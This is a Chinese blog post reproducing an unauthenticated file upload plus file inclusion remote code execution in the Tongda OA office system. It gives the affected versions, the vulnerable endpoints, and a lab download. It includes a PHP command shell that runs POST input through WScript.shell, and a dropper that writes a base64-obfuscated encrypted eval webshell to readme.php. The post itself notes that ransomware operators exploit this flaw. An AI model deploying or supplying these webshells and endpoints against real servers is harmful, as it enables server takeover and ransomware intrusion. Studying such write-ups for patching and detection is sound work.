通达OA任意文件上传+文件包含导致RCE漏洞复现

home

0x00 漏洞简介

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

该漏洞被黑产利用,用于投放勒索病毒

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

0x01 影响版本

1
2
3
4
5
6
V11版
2017版
2016版
2015版
2013增强版
2013版

0x02 利用条件

无需身份认证

  1. 任意文件上传 /ispirit/im/upload.php
  2. 本地文件包含 ispirit/interface/gateway.php

命令执行绕过

1
2
3
4
5
6
7
8
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

GetWebshell

1
2
3
4
5
6
<?php
$fp = fopen('readme.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>

php Zend 解码

http://dezend.qiling.org/free.html

0x03 漏洞原理

被授权的远程攻击者通过文件上传配合文件包含,触发远程恶意代码执行。系统中auth.php是登陆验证的相关逻辑,upload.php中$P参数如果非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。攻击者可通过精心构造json进入includ_once进行文件包含。

0x04 环境搭建

本次实验所用版本是通达V11.3

链接:https://pan.baidu.com/s/1nm-kBi4zOwXDZFtjmf7n2Q

提取码:z863

下载好源码,解压缩后直接运行exe文件安装,访问靶机IP即可,界面如上图。

本机IP:192.168.150.142

0x05 漏洞复现

这里需要注意的是:有些版本的gateway.php路径不同。

2013

1
2
/ispirit/im/upload.php
/ispirit/interface/gateway.php

2017

1
2
/ispirit/im/upload.php
/mac/gateway.php

V11

1
2
/ispirit/im/upload.php
/ispirit/interface/gateway.php

文件上传

任意文件上传漏洞路径/ispirit/im/upload.php

upload

使用burp抓包,构造请求包,发送数据包可以看到成功上传

request

filename = 2004/1795480914.jpg

由于上传目录不在根目录所以还是需要另一个漏洞来进行文件包含。

文件包含

本地文件包含漏洞路径 /ispirit/interface/gateway.php

include

成功包含上面上传文件,并执行命令。

0x06 最后

这个漏洞复现花了很长时间,一开始不知道怎么构造数据包。

通达OA开启了 disable_funcation 功能 很多常见的命令执行函数如 execevalsystem等都被禁止了,需要bypass。这个我还不会,后面会找时间学习学习。

0x07参考

通达OA RCE分析

POC

bypass disable_funcation